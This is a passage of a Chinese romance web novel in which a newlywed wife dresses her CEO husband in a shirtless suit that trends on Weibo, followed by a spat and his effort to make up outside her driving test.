“办公?” “对呀,”她伸出手指:“设备、宣传、酒水定价,还有员工招聘,哪一样不要做出细目来?你真以为我是个被你养在家无所事事的金丝雀啊!” 她可不是说说,毯子一掀就下了床:“你去把我电脑拿着,我去刷牙洗脸,很快就好!” 陆时聿不仅给她拿了电脑,还给陈敬打了一个电话。 “购置一套适合女孩子用的办公桌椅,今天上午送到办公室。” 能进他办公室办公的的女性,除了太太不会再有第二个人。 陈敬一个字都不多问:“好的陆总。” “另外,再购置一张Edra的花瓣床和同系列的花瓣沙发。” 陈敬意外了两秒也迅速应下来:“好的,我上午就去办。” 不过一个电话的功夫,再经卫生间,里面已经没有人了。 陆时聿回到二楼,果然在衣帽间里看见了她。 两手不停地在各种小裙子里翻着,陆时聿敲了敲门:“需要帮忙吗?” 江棠梨手一挥:“忙你的去。” 这颐指气使的语气,陆时聿失笑一声。 结果刚一转身—— “等等。” 陆时聿转过身来:“陆太太还有什么指示?” 江棠梨打量在他身上:“你怎么还不换衣服?” 所以他若是把出门的衣服换好,她是不是就对今天穿什么有了方向? 但是陆时聿却说:“如果陆太太有时间,可以帮我选一套。” 帮他选? 她自己穿什么都没想好呢,哪有心思帮他—— 等等! 江棠梨眼波一定:“我选什么你就穿什么?” “当然。” 毕竟他的衣柜里也没有奇装异服。 等他一走,江棠梨顾不上自己的了,立马拨开对面的茶色玻璃门。 “哗啦”一声里—— 黑白黑白。 除了黑就是白。 这还有什么好选的? 可是当她拉开中间的抽屉,各种底色各种花纹的领带把她惊喜到了。 而此时的楼下,李管家听说要把他卧室的床处理掉,不由得愣住。 “是扔掉的意思吗?” 如果是,那他真的不理解,十几万的一张床,怎么说扔就扔呢? 可是他看见陆总点头了。 他一个管家也不能质疑他的决定,“那好吧。” “另外,”陆时聿又说:“跟家里的阿姨们说一声,暂时把二楼的生活用品搬到三楼。” 李管家又愣住了:“好。” 但他实在想不通,“陆总,之前太太不是很喜欢三楼的风格,您突然要搬上去,太太知道吗?” “她不喜欢三楼的风格?”陆时聿皱眉:“她跟你说的?” “那倒没有,但是太太最开始住进来的时候,很少在三楼待着,后来无意间看见一楼的客房,我就提了一嘴,太太她立马就说要搬下来了,所以我猜,应该是三楼不太得她的喜欢。” 但是昨晚临睡前,她还说墙壁上的天山暮雪纹理很漂亮。 陆时聿一时摸不准,“你让阿姨们先搬,回头我再问问她。” 刚一说完,身后就传来“噔噔噔”的下楼脚步声。 一回头,看见江棠梨一手西装一手小裙子地往下跑。 “你慢点——” 话音还未落地,江棠梨就错开两阶楼梯蹦到了平地上。 左手一抬:“这套怎么样?” 一如既往的黑色,和她另只手里的金色裙,很配。 陆时聿点头:“可以。” 但是下一秒,江棠梨又从西装口袋摸出来一条金色领带。 “是不是绝配?” 黑色西装配金色领带 也不是不可以,但却偏离了陆时聿一贯的风格。 眼看他皱眉,江棠梨“哼”了声:“是不是你说我选什么你就穿什么” 是,但是他怎么会有这种颜色的领带? 平时陆时聿的着装都是李管家准备的,包括整理以及熨烫。 陆时聿看向他:“李管家,你是不是把你的领带放错位置了?” 他作为一个管家,怎么可能会犯这样低级的错误,再说了,他的衣物无论买来还是洗晒都绝对不会拿进这个院子,更别说放错到二楼。 但是陆总看他的眼神 李管家无辜又茫然地眨了眨眼:“哦,可能,大概,是我不小心——” 但是不等他犹豫地说完,就被江棠梨那双火眼金睛看出了端倪。 “行了,你就别为难李叔了,你就给个痛快话,”江棠梨把手里的金色领带一抬:“系还是不系吧!” 但凡它的金是暗金,又或者上面有花纹的元素压一下,陆时聿都能勉为其难,可 陆时聿拿起她搭在手腕上的那条金色裙子,和那条金色领带比了比:“颜色好像并不是很搭。” 就会给自己找借口。 江棠梨问:“是不是搭了就行?” 陆时聿没有把话说尽:“颜色还是要以深色为主。” “深色是吧,”江棠梨说了声行:“那咱们就把这条领带去掉,直接穿这套黑色。” 陆时聿这才点头:“好。” 江棠梨看向李管家:“李叔,你把早饭准备好,我和陆总换好衣服就下来。” “好的太太。” 到了楼上,陆时聿问:“那我穿这套,你呢?” 江棠梨神秘地看了他一眼:“那你先把眼睛闭上。” 还要闭眼? 陆时聿失笑:“是有什么惊喜吗?” 江棠梨抬手朝他轻轻一挥:“转身、闭眼。” 既然已经转身,那就不用再闭眼,但陆时聿还是照做了。 看不见的情况下,听觉就会很灵敏。 滑轨的轻微声响里,耳边安静了半分钟的功夫,紧接着他听见了金属碰撞声。 很清脆。 只不过不等他猜,身后就传来一声“好了”。 转身,甚至还没有完全转过来,只是眼神落过去的那一刹那,他眼波就定住了。 是一套黑色喇叭袖西装裙。 V领、垫肩,银色金属束腰。 有一种视觉冲击下冷艳的性感。 虽然裙摆很短,但正是它的短,才是这一身的点睛之笔。 但是她穿这么一身坐在他办公室里,陆时聿严重怀疑自己是否真的可以提高效率。 定睛间,江棠梨已经走到了他面前。 她抬手点在他微蹙的眉心:“这是什么意思?” 陆时聿低笑一声后眉心舒展:“我好像看到了另一个江棠梨。” 这也是江棠梨心里的小九九。 “那陆总可不可以也让我看一看另一个陆时聿?” 另一个他? 眼角微眯间,陆时聿浅浅一笑:“还想让我打那条金色领带?” “nonono,”江棠梨食指左右摇了摇,“我们今天不打领带。” “不打领带?” 在他的一头雾水里,江棠梨伸手去解他睡衣上的纽扣。 但是她只解了一颗,圆润的指尖沿着他的侧颈往下,画了一个V型。 陆时聿几乎瞬间就懂了:“你该不会连衬衫都不让我穿?” 江棠梨抬眸看他,无辜的眼神盖过了她眼底的狡黠。 “可是在楼下的时候,我说只穿这套黑色,你说好的呀!” 陆时聿:“” 见他不说话,还一脸的不情愿,江棠梨把脸一偏:“连着两次出尔反尔——” “好,我穿。” 江棠梨立马眉眼一弯:“我就说吧,咱们陆总绝对是个一言既出驷马难追的君子!” 脸变得倒是快。 江棠梨抬手在他肩膀拍了拍:“那陆总先换衣服,我去餐厅等你。” 一口一个陆总。 早在她喊第一声的时候,自己就该猜出她的别有用心。 视线追着一蹦一跳的背影,陆时聿嘴角滑出笑痕,可是视线偏转再落到那套黑色西装 陆时聿不由得再次皱眉。 穿这么一身出现在公司,他都不敢想会被员工议论成什么样。 他是不敢想,江棠梨是想象不出来。 “李叔,你知道真空西装吗?” 李管家点头:“很多男明星在走红毯或拍杂志都会这么穿。” 江棠梨笑道:“没想到李叔还关注这些呢?” 李管家并不觉得有什么,“平时陆总的着装多是由我来搭配,所以一些时尚性的消息必须要关注。” “那你有没有想过”江棠梨把手往上指了指,“咱们家那位若是穿那么一身——” 她话还没说完呢,李管家就低眉笑出了声。 “你笑什么?”江棠梨歪头看他。 李管家言之凿凿:“陆总是不会那么穿的。” 江棠梨嘴角抿出笑:“那可不一定。” 只是没想到楼上那位换个衣服会那么慢,江棠梨又看了眼时间,都过去十分钟了。 她坐不住,小跑出餐厅,刚一到楼梯口,就见陆时聿已经站在楼梯的转脚平阶上了。 江棠梨双脚一顿。 性感的锁骨线条,硬朗的下颚线。 既性感又贵气,但却两不沾俗。 甚至还给人一种玉和圣洁互相撕扯的禁欲感。 这要是换成白色,是不是得被他穿成男菩萨战袍? “老公,”江棠梨吞咽一下的同时,竖起大拇指:“你是这个!” 刚好李管家也从餐厅里走出来,见到楼梯上站着的人,顿时目瞪口呆。 他嘴角张张合合好几个来回才发出声音:“陆、陆总,你、你这是” 江棠梨却噔噔噔地踩上楼梯,手往陆时聿臂弯里一挽,“李叔,怎么样,是不是绝配?” 李管家:“” 就算不这么穿也是绝配。 李管家嘴角强扯出笑:“陆总,您、您确定要穿成这样去公司吗?” 本来是不确定的。 不然他也不会在楼上待这么久,看着镜子里的自己,像是看一个陌生的人。 可是看见身旁的人满眼的兴奋与期待,陆时聿实在说不出一个不字。 陆时聿轻“咳”一声,故作松弛:“偶尔换一下风格。” 李管家:“” 可是换风格也不至于跨越这么大,这要是被一些有心人拍到,不知会在背后怎么议论呢! 陆时聿自然也看出他的顾虑。 “今天第一次带她去公司,隆重一点也无可厚非。” “可是——” 李管家还想再劝,但是被陆时聿一个眼神打断。 他也只能作罢:“那陆总和太太快用早餐吧。” 吃完饭去公司的路上,江棠梨眼睛都快定他身上了,准确来说,是定在他的V型领口。 她不止看,还一个劲地把脑袋往他身前凑。 简直就是:身离领口直抵腹肌。 把陆时聿看得无奈:“又不是没看过。” “那怎么能一样?有时候若隐若现才更有美感。” 江棠梨比喻起来一针见血。 “就好比有些男的,老婆脱光了站他面前他没感觉,但是别的女人一条黑丝就能让他血气上涌!” 陆时聿眼神睨在她脸上。 “所以老公的腹肌再好看,都不如你微博里的那些私货。” 天呐,这人怎么到现在还记着这事呢! 江棠梨现在对付起他来,手拿把掐。 鼻子一囊,嘴巴一噘:“我不允许你把自己和那些庸脂俗粉比!” 听听,说的都是什么跟什么。 陆时聿偏开脸气笑一声。 在江棠梨时不时逗他的开心里,在陆时聿拿她没办法的无奈里。 手握方向盘的陈敬已经不知瞄了多少眼后视镜。 难以想象,也实在想不通。 陆总是抱着什么样的心里穿这么一身出门的。 可明明很妖气的一身,却能被他穿出另一种沉稳的优雅来。 这也是陈敬百思不得其解的。 难道是因为脸? 就在他又往后视镜里瞟过去的时候,陆时聿也掀眼看过去。 视线相交,陈敬瞬间收回视线。 哪里来的优雅,那眼神,简直让人后颈发凉,额冒虚汗。 但是江棠梨却没有发觉他眼神里的凌厉。 “你说好不好笑?”江棠梨晃着他的胳膊。 “所以当时你没有问她为什么那么做吗?” 他音色温润眉眼含笑,好像刚刚后视镜的那双深邃锐利不是从他眼睛里投过去的。 江棠梨“嘁”了声:“有什么好问的,那种人不搭理就是对她最大的侮辱。” 她说的是和迟薇冉的那些恩恩怨怨。 陆时聿用手压在她那看看只遮到大腿根的裙摆,“所以你回关了吗?” 江棠梨撇嘴:“她私信我都没回,怎么可能回关她!” 陆时聿点了点头:“那下次有机会带我去见见。” 江棠梨眼底一凉:“你见她干嘛?” 陆时聿眉梢略微一抬:“见识一下她现在对陆太太的态度有没有什么变化。” 听出他是在护短,江棠梨嘴角有笑,但压着,“那也不给你见!” 从她那里感受到的点点醋意,让陆时聿整个人多了几分松弛。 眼看再过一个路口就到了公司楼下,江棠梨晃了晃他胳膊:“陆总敢不敢走正门啊?” 穿都穿出来了,也没什么见不得人的。 但是陆时聿却说:“敢的话,有什么奖励吗?” 真是一点甜头都不放过。 “那不然,”她眼里露着两三分的羞,掩手过去:“我再跪一次?” 车厢安静,但凡一个不留神就会让人听见不该听见的。 陆时聿没有回答她,但是盖在她裙边的指掌用了两三分的力。 “一会儿下车注意点。” 裙摆的确是短了点,哪怕她里面穿了安全裤。 可就像他自己说的,有些男人就是喜欢看这种若隐若现。 所以车停稳后,是陆时聿先下的车,站在车门与车身之间,充当她的安全伞。 可是当他牵着江棠梨的手转过身—— 迎面从大厅里走出来的几人顿时倒吸一口气。 整个大楼都是陆盛集团的员工,虽然不是每个人都见过陆时聿,可自己家的大老板一贯的作风,谁不知道? 以至于从门口到电梯的一段路,礼貌问候声从过去的“陆总”变成了今天的“陆、陆总”。 陆时聿虽然也点头回应,但却尽量不接那一双双诧异或愕然的眼神。 直到进了电梯,他长舒一口气。 江棠梨忍了一路的笑也终于忍不住,可又不好笑得太大声。 肩膀轻抖里,她的手被用力紧了一下。 她委屈抬起脸:“干嘛!” “一次不够。”他面无表情地得寸进尺:“再加个地方。” 第55章 陆时聿一直觉得江棠梨的美是一种鲜活的动态的美,却没想到她端坐在办公桌前认真做起事来,那种静态美也这么直击人心。 陆时聿抬手敲了敲门。 江棠梨却没有抬眼:“陆总去开会了,有什么事,”她瞥了眼手表上的时间:“二十分钟后再来。” 话说完,面前盖过来一道黑影。 抬头看见是他,江棠梨轻笑一声:“陆太太在忙,有什么事请和陆总预约时间。” 陆时聿双臂撑于桌沿,“那如果是陆总想约陆太太呢?” 江棠梨朝他一莞尔:“那也是要排队的哦。” “可以走后门吗?” 江棠梨往座椅里一靠,摇了摇头,“不可以哦~” 陆时聿嘴角携笑地看着她:“那怎么才可以?” 视线从他的脸缓缓移到他V型的襟口,江棠梨朝他勾了勾手。 陆时聿相当配合地绕过办公桌走到她身侧。 一手压着办公桌,一手压在座椅椅背,以双臂展开的姿势将她半拢于怀。 江棠梨则半转过身来,圆润的肘股压在桌上,两指抵在轻抬的下巴尖。 一俯一仰交汇的视线里,都带着股漫不经心的惬意。 但是随着江棠梨眉梢一挑,陆时聿失笑一声后,俯下身来。 他身量高,与她平视,腰几乎完成九十度。 也正好给了江棠梨眼神放肆的机会。 陆时聿也没躲,任由她看,但随着她扭头看向门口—— 陆时聿捏着她的下巴把她的脸扳了回来。 “办公室,想都别想。” 本来没想的,但是被他这么一说 江棠梨打掉他手,“让你去给我冲杯咖啡而已,”她笑得一脸坏:“陆总想哪儿去了?” 陆时聿:“” 等他把咖啡冲好端来,江棠梨又回到了刚刚专注里。 但是不忘跟他说一声“谢谢”。 陆时聿看了会儿她的电脑屏幕。 “需不需要给你点意见?” “不需要。” 在江棠梨看来,陆盛集团做得再大,但是和酒吧沾不上边。 所以说到经验,他或许还不如她。 但是她不知道的是,当初Lounge酒吧的企划书就是他做的。 当然,这种小事并不需要他亲自出面,但是被楼昭面死缠烂打了一周,说他不能只出钱不来力,这才应了下来。 当然也不是随手一做,市场分析、营销策略,包括财务计划运营计划,这些他都有认真了解和分析。 以至于Lounge酒吧开业至今,除了成本已经尽数收回,盈利更是稳线上升。 这对于酒吧行业过了头三个月新鲜期就会呈直线下滑的难破现状来说,已是奇迹。 不过被她如此不加犹豫地拒绝,难免会被打击到。 “是觉得我不懂吗?” 就算是也不能说是呀! 毕竟他这个老公还是她的大金主。 江棠梨还没抬头就先弯了眼:“怎么会呢,陆总管理那么大一个集团公司都游刃有余,何况我这小小的一个酒吧。” 话倒是说得漂亮。 陆时聿看了眼时间:“我要出去一趟,大概一个半小时回来。” 以为她会问一句“去哪”,结果只等来一个“哦”。 带着点无法言说的心火,陆时聿抬起她脸,咬在她唇上。 很疼,但也只是短瞬。 江棠梨剜了他一眼:“办公室呢,能不能注意点影响。” 能拿他刚刚说的话来堵他。 陆时聿拍了拍她脑袋:“还说没有乱想。” 眼看他走到门口,江棠梨“嗳”了他一声。 陆时聿扭头看她:“喊我什么?” 江棠梨眉眼一弯:“陆总~” “再给你一次机会。” 眼角微眯,语带警告。 “老公!”江棠梨撇了撇嘴:“行了吧?” 谁知他还不乐意。 “把后面三个字去掉。” 较起真来可真要命。 江棠梨哼了声:“我就不!” 陆时聿凝眸看了她两秒,笑出一记意味深长:“车里你说过什么还记得吧?” 他视线在宽敞又透彻的落地窗前扫了眼:“不跪,就站着。” 江棠梨:“” 等她看了眼落地窗,再看向门口,已经没人了。 江棠梨嘁了声:“谁怕谁!” 她端起咖啡喝了口,舌尖的醇厚让她眉梢一挑。 牛排煎的一般般,咖啡冲的倒是不赖。 江棠梨拿起手机,把咖啡杯贴在脸颊,对着镜头一连自拍了好几张。 临近中午,一整面墙的落地窗,阳光就是最好的滤镜,把她的皮肤糅得毛孔都看不见。 不过只有五张让她觉得360无死角。 于是她把自己的笔记本电脑和桌上那台台式电脑各取一半入了镜头。 文案更是信手拈来:「体型差,谁懂?」 刚一发布出去,方以柠的电话打了进来。 这家伙,该不会提前来海市了吧? 电话接通,不等江棠梨开口—— “我的天呐,你家那位也太敢了吧,竟然真空上阵!” 江棠梨一愣:“你怎么知道?” “微博啊!都炸了好吗?” “微博?” 江棠梨更一头雾水了,她压根就没发微博。从上次被陆时聿‘警告’过后,她就再也没在微博发那些羞羞臊臊的东西了。 “谁的微博?” “他们集团官方微博啊,你别告诉我你还不知道!” 江棠梨真不知道。 她来不及跟方以柠说了,迅速点进微博。 在那条被置顶的订婚公告下面,正是今天上午他们手牵手走进公司大楼的画面。 照片边缘被虚化成朦胧的雾,唯独他侧脸看向她的那一瞬被钉在时间的底片上,成为虚实交界的唯一坐标。 江棠梨眼睛都忘了眨地盯着那张照片看。 “看到没有啊?” 思绪这才被强行拽了回来,江棠梨嘴角偷笑一声:“看到了。” “那热搜也看到了?” “热搜?”刚上滑的嘴角瞬间就落了下来,江棠梨惊讶不止:“我们还上热搜了?” “近百万的赞,那么多的转发量,你们不上热搜谁上热搜!” 点开一看,还真是,而且还不止上了一个热搜。 「被陆氏夫妇真空西装硬控60秒」 「陆时聿锁骨鲨」 「董事长应该穿什么上班」 「陆盛集团董事长近期活跃于社交网络」 前面两个还说得过去,但是后面两个 江棠梨点进去看了看,评论倒也没什么负面,但是标题看着就是让人不太舒服。 “以柠,我感觉我闯祸了。” “啊?闯什么祸?” “是我让他那么穿的。” 方以柠听了咯咯笑:“这么听你的话啊,可以啊梨姐!” 江棠梨可一点都笑不出来:“这要是被他爷爷还有爸妈看见” 方以柠却“嗐”了声:“没事,你想想,能被他们集团官方放出来,肯定是经他允许了的,你有什么好担心的?” 对哦,不是他的个人账号,是集团的官微! 可是轻松不过两秒,江棠梨小心脏又提了起来:“虽然是官微,但是他肯定没想过会上热搜啊!” “上热搜怎么了?又没什么负面的舆论。” 都开始上升到「董事长应该穿什么上班」了,还要怎么往负面发展? 若是再被有心人带偏了风向 江棠梨突然打了个冷颤:“我不和你说了。” 电话挂断后,她迅速给陆时聿打了过去。 第一遍正在通话,第二遍还是正在通话。 越是拨不通,她心里越急。 于是她又赶紧拨通了陈秘书的手机。 “陈秘书,陆时聿呢?” 陈敬说:“陆总正在打电话。” “和谁你知道吗?” 陈敬看向不远处:“是陆老。” 江棠梨:“” 该不会是因为热搜的事吧? 被她猜对了。 老爷子的这通电话的确是因为热搜。 “不打领带也就算了,连衬衫也不穿,你是怎么想的?” 陆时聿语波淡淡:“没想那么多。” 老爷子“哼”了声:“所以也没想到会上热搜,更没想到会被宣发部放到官微?” 以为会把他问得哑口无言,结果却听—— “爷爷是觉得那张照片不好看?” 老爷子反应慢半拍才听出他的言外之音:“你少拿孙媳妇来压我!” 陆时聿笑了:“有一个那么漂亮的孙媳妇,难道爷爷不想让所有人都看见?” 老爷子心里跟明镜似的:“我看是你想让所有人看见吧!” 这句话倒是说到了他的心坎里。 他就是想让所有人都看见,不然也不会让宣发部门提前等在大厅抓拍。 只是没想到热度会直冲热搜。 老爷子问:“所以接下来你准备怎么办?” “这您不用操心,我心里有数。” 陆时聿电话打来的时候,江棠梨已经咬着手指不知在办公室里转了多少圈。 “怎么了?”陆时聿问。 “老公,我是不是闯祸了?” “你说呢?” 江棠梨一屁股跌坐在沙发里:“那、那还有办法补救吗?” 隔着手机,她看不见陆时聿嘴角压着的笑痕:“那再给你一次机会,重喊一遍。” 本来心里就乱,听他这么说,江棠梨脑子里更加懵懵的:“什么重喊一遍?” 陆时聿没有说话。 过了好一会儿,话筒那边突然炸出一声—— “陆时聿!” 陆时聿差点没忍住笑:“最后一次机会都没把握住,陆太太,这可就不能怪我了。” 她在这担心得坐不住,他可好,还有心情跟她开玩笑。 所有的担惊受怕全变成了委屈。 “你欺负人!” 话筒那边传来的哭腔让陆时聿一愣:“怎、怎么还哭了?” 但是回答他的却是耳边的忙音。 等到陆时聿赶回公司,别说人影,就连电脑也没了。 电话打过去,依旧关机。 陆时聿快步走到秘书办门口:“太太呢?” 张秘书忙起身,“太太刚刚出去了。” “走了多久?” “大概十分钟左右。” 十分钟? 可从电话挂断到现在已经过去足足半个小时。 陆时聿眉心不展:“她有没有说去哪了?” 张秘书摇了摇头:“太太没说。” “没说你不知道问?” 张秘书是个谨小慎微的女孩子,做事认真负责但也很胆小。 被他这么扬声一质问,肩膀一提,眼眶一红,眼泪瞬间就滚了下来。 同样都是眼泪,可电话里的那声哭腔让他揪心,面前的眼泪却让他烦躁。 “哭能解决问题?” 陈敬走过来:“陆总,李管家说太太没有回家。” 陆时聿扭头看他:“从这到璞玺园需要多久,你心里没数吗?” 陈敬终于知道,原来他们陆总生气起来和普通人一样,都是看谁都不顺眼。 不过陈敬从来不是一个只提问题不说解决方法的人。 “我来给方小姐打电话。” 电话那头,方以柠也是一头雾水:“我是她打过电话,但是是我找的她,怎么了?” 陈敬不好多说:“那没事了,我就是随口问问。” 能随口问到她这儿来?当她三岁小孩呢! 方以柠一语道破:“是不是你们陆总把她惹生气,她不接你们陆总电话了?” 单纯不接陆总的就好了。 陈敬无奈:“太太电话关机了。” 关机都玩上了,方以柠不紧张反而笑:“你们陆总可以啊!” 果然是太太的闺蜜,都敢这么明目张胆地取笑甲方。 “方小姐,如果太太有联系你,麻烦你给我回一个电话。” “等等,”方以柠思路异常清晰:“她下午是不是考科目三?” 陈敬眼睛一亮,忙转身:“陆总——” 但是没人了。 陈敬左右看了两个来回,“陆总呢?” 张秘书手往走廊方向指:“走了。” 江棠梨下午的科目三考试时间是两点,考试地点距离陆盛集团并不近。 但是她今天穿的衣服不适合考试,所以势必会换一身衣服。 要么回家,要么直接去商场买一身换上。 但不管怎样,她都会准时出现在考场。 陆时聿刚一坐进车里,陈敬电话打来:“陆总,太太下午不是考试吗,您要不要去考场等着?” 陆时聿手转方向盘:“不然我还能去哪等着?” 陈敬:“” 可若是只在考场等着,不会把人哄好。 于是陆时聿回了一趟家,把一个星期前买的一对粉钻耳钉带了出来。 李管家忧心忡忡地送他到门口:“陆总,要我跟您一块吗?” 陆时聿抬眼看他:“那不然我在家等着,你去帮我哄?” 李管家:“” 路上,陆时聿又去买了两份三文鱼寿司和一份甜品。 经过一家花店,他又进去挑了一束花。 到考场才十二点半。 考场大门紧闭,门口别说车,就连一个人都没有。 陆时聿再次拨了电话过去。 依然关机。 过程虽然有些煎熬,但好在结果都在掌握之中,所以陆时聿已经没了之前的无措和慌张。 但他又生怕会错过,所以没在车里坐着。 烈日当头,大门口没有一处遮阴的地方。 保安见他在门口站了足足二十分钟都不动一下,忍不住走过来询问。 “您是在等人?” 陆时聿笑着点了点头。 保安一边“哦”着,一边往他V领处看。 陆时聿唇角挂着温和的笑:“是妨碍到你们了吗?” 保安连忙摇头:“没有没有,我就是看你站了这么久,怕你中暑。” 说完,他又往不远处空旷车位里仅停着的那辆没熄火的黑色轿车看了眼。 “那是你的车?” 陆时聿没说是与不是,“是不可以停吗?” 明明是温和的口气,可话听着就是没那么顺耳。 保安猜不透他的来头,但也能看出他的不凡。 一连两声“可以停”之后,保安三步一回头地回了保安室。 正午,烈日当头。 偏偏黑色最吸热。 陆时聿点开微博浏览了一下热搜。 四个热搜的热度依旧不下。 而那条「董事长应该穿什么上班」的话题下,已经出现一些试图带偏舆论的评论。 虽然话题不可控,但也不是没有解决的办法。 他甚至都没有经过公司,直接在个人账号里更了一条微博。 「其中一组婚纱照的拍摄而已。」 他甚至大方地从上午宣发部门给他发来的几张照片里又选了两张发布出去。 之后他就锁上手机,站在原地安静地等。 时间一分一秒过去,一点整,李管家电话打来。 “陆总,太太还没有回来。” 陆时聿心里了然:“我知道了。” 没一会儿的功夫,陆续有车辆在门口停稳。 但是陆时聿的视线却只锁住从出租车里下来的人。 一点半,一抹白色身影从一辆红色出租车里下来。 尽管头戴鸭舌帽,脸戴口罩,可还是被陆时聿一眼认了出来。 但是却见她耳边贴着手机。 陆时聿皱了下眉,是刚开机? 他拨了过去—— “您好,您拨打的电话正在通话中。” 陆时聿听笑了。 这是还藏着一个他不知道的电话号码。 他迎面走过去,以为她看见自己会一惊,又或者转身,没想到视线与她对上的那一瞬,她双脚不仅没有一丝停顿,还不躲不避地接住他视线走过来。 这是消气了? 就在陆时聿心里略感茫然之时,隔着口罩,她讲电话的声音传了过来。 “可以啊,那你把他们几个都叫上,今晚我请客。” “放心,今晚不开车。” 陆时聿:“” 所以这是今晚要喝酒的意思? 眼看手机从她耳边拿了下来,两人之间的距离也只剩半米远。 陆时聿站住脚:“吃饭了吗?” 然而对面的人却仿若未闻,帽子一摘,手指顺了顺头发后,又将帽子往头顶一卡。 陆时聿眼睁睁地看着她越过自己的肩膀。 这是要装不认识他的意思? 他不相信似的:“梨梨。” 双脚没停,更没回头。 陆时聿追上去挡住了她的去路,只是不等他开口。 “这位先生,我认识你吗?” 第56章 “这位先生,我认识你吗?” 她平静的眼神里有着淡淡的好奇。 不知道的,真要以为她是在看一个素未谋面的陌生人。 这是陆时聿万万没有想到的。 但是短暂的怔愣后,陆时聿还是选择了最直白的道歉方式:“我错了。” 以为她会问:你错哪儿了? 结果—— “我都不认识你,你错不错的跟我又有什么关系?” 一句话,将陆时聿提前准备好的所有反省都噎在了嗓子眼。 只能随机应变,顺着她的方向来。 “那这位女士,我可以有幸认识你吗?” 瞥了眼他伸过来的手,江棠梨懒懒掀起眼皮看了他一眼。 “没兴趣。” 如果说刚刚她还带着几分礼貌的笑,那这一秒,她是连敷衍都懒得敷衍。 所以这种方式也不奏效? 眼看她再一次擦过自己肩膀往门口走,陆时聿没有再追上去,他反方向回到车边,拿出用冷藏袋装着的三文鱼寿司和甜品。 再追上去,江棠梨已经进了大门。 “梨梨——” 江棠梨双脚停在原地:“第一次见面就喊别人的乳名,先生,你有点不太礼貌。” 陆时聿双脚往一旁站了几分,挡住晒在她脸上让她眯起眼角的阳光。 “那你有没有想过,为什么我第一次见你,就知道你的乳名呢?” 似乎是没想到他会这么说,江棠梨眼底闪过意外和窘意。 但稍纵即逝后,她就提唇一笑:“您都能穿这种衣服出来招摇撞市,想知道别人的乳名又什么稀奇?” 然而陆时聿却撵着她的尾音问:“不好看吗?” 刚将他一军的沾沾自喜就这么被他压了下来。 江棠梨不冷不热地看了他一眼后,肩膀一转:“丑死了!” 陆时聿落后半步跟在她身侧:“但我太太喜欢。” 到底都是哪些有眼无珠的人说他儒雅内敛话不多的? 哄起人来,嘴像是淹在了蜜罐子里。 为了不再给他甜言蜜语的机会,江棠梨索性不再理他。 她不说话,陆时聿便也没有再说什么,一路安静地跟在她身侧。 可他安静了,江棠梨心里却像被小猫抓着似的。 想掐他、踢他、咬他,总之就是想把气撒他身上。 一不小心瞟到他手里的包装袋。 可恶,这是知道她没吃午饭,故意买来急她的吗? 重点是,他买什么不好,偏偏去买她最爱吃的那家日料店! 江棠梨害羞的时候会抿唇,除此之外就是饿的时候。 不仅会抿唇,还会从唇缝里伸出一点点的舌尖。 在接连两次捕捉到她这个表情以后,陆时聿掐准时机,手往右轻轻一越,牵到了她的手。 “喂——” 陆时聿抬起手里的包装袋:“买了你最爱吃的寿司。” 江棠梨:“” 所以她就要为这‘五斗米’折腰吗? 转念一想,区区几块寿司,她自己又不是没钱,考完试她想吃多少吃多少! “还有黑森林蛋糕,撒了满满一层樱桃冰霜。” 江棠梨:“” 这么热的天,再多的樱桃冰霜也—— “里面放了冰袋,不会破坏冰霜的口感,”陆时聿弯下腰,把脸低到她面前:“要不要尝尝?” 江棠梨觉得他是故意。 他绝对、一定、肯定是故意的。 说不定在她买衣服的时候就悄悄跟在她身后,不然怎么会笃定她是饿着肚子的呢? 毕竟她在饱腹的时候最讨厌大米和甜腻的食物了。 而他又这么了解她,怎么会在她生气的时候打这么没有把握的仗! 在候考大厅外,江棠梨咬了口他递到自己嘴边的寿司,咽下去后,她“哼”了声:“心机男!” 陆时聿嘴角挂着淡淡笑痕,任她一口一句地骂着,等到她把九块寿司都吃完,陆时聿才开口:“紧张吗?” 肚子填饱了,小气性也没了。 但为了晚上的活动,江棠梨又不得不硬装下去。 “不用你管。” 陆时聿把拧开盖的矿泉水递到她面前:“我不管,谁管?” 听出他声音没了之前的温柔,江棠梨提到嗓子眼的“谁管也不用你管”又被她给咽了回去。 待考大厅已经有人工语音传来。 陆时聿说:“考试结束到门口停车场找我。” 去找他不就间接告诉他,今天这事翻篇了吗? 她才不能给他这种错觉。 “你不是忙吗,”江棠梨瞥他一眼:“你走吧。” 她声音里还满是情绪,听着像是故意试探他的耐心,又或者她是动了别的心思真的想让他走。 陆时聿不露声色地看着她:“肚子饱了就赶人?” 就知道他会这么说,江棠梨眼眸微转:“你在这我紧张。” “我又不在你旁边看着。” “那也、那也紧张,” 她比喻起来总是一针见血:“这就像高考,知道家人在外面等着自己,很容易分心。” 陆时聿把脸靠近她几分:“真想让我走?” 黑漆漆的一双眼像是能把她心思看穿似的。 江棠梨错开他眼神:“我看你就是存心偷懒,好让我不能在日内瓦待那么久!” 倒是一个让他无法反驳、无法推卸、也无法再继续留下来的绝佳的借口。 但是考试时间很短。 陆时聿说:“不差这半小时。” 于是,在江棠梨奶凶奶凶地瞪他一眼后,陆时聿掌心压着她的后脑勺,低头吻在她额头。 “好好考试,考过了,晚上才能放开了去玩。” 以为自己这么说会盖过她所有的气性,会惊喜,会激动地抱住他,会在他怀里蹦跶着,兴致高了可能还会喊他一声老公。 然而却见她下巴一抬:“没过我就不能去玩了?” 她把帽子往头顶一卡:“你也太小看我江棠梨了。” 这段时间,陆时聿的确会留意社交网络,所以学到了一个网络流行词:「strong哥」。 当然,这并不是一个褒义词,但陆时聿却觉得,此时此刻,把这个词用在她身上,倒是有一种褒义的可爱。 特别是她那誓死不在你面前低头的傲娇劲,真的是死装死装的。 当然,在他看不见的角落又会是什么样,那就不知道了。 倒也不至于在他看不见的角落,刚一转身,江棠梨眉心就拧起来了。 「他怎么知道她晚上要出去玩的?」 「猜的?还是说他把廖妍也收买了?」 「可是和廖妍的那通电话之后,没见谁给他通风报信啊!」 提交身份证,指纹和人脸识别后,江棠梨去了待考室。 这期间,她眉心一直没能平下来。 越想越烦。 烦到最后她索性不想了。 江棠梨考的是二号线,她是第一个。 说不紧张是假的,但好在每个环节都熟记于心。 全部考完之后,江棠梨坐车回候考大厅签字领取身份证。从门口经过时,她往停车场扫了眼。 黑色迈巴赫停在哪都是一个显眼包的存在,但是再显眼也没有站在车头的男人显眼。 从真空的深V领口露出的那一片白,看着就想让人亵渎一番。 这么热的天,这么晒的太阳,他不在车里等着,非得站在车外。 真不知是想引人注意还是故意让她心疼。 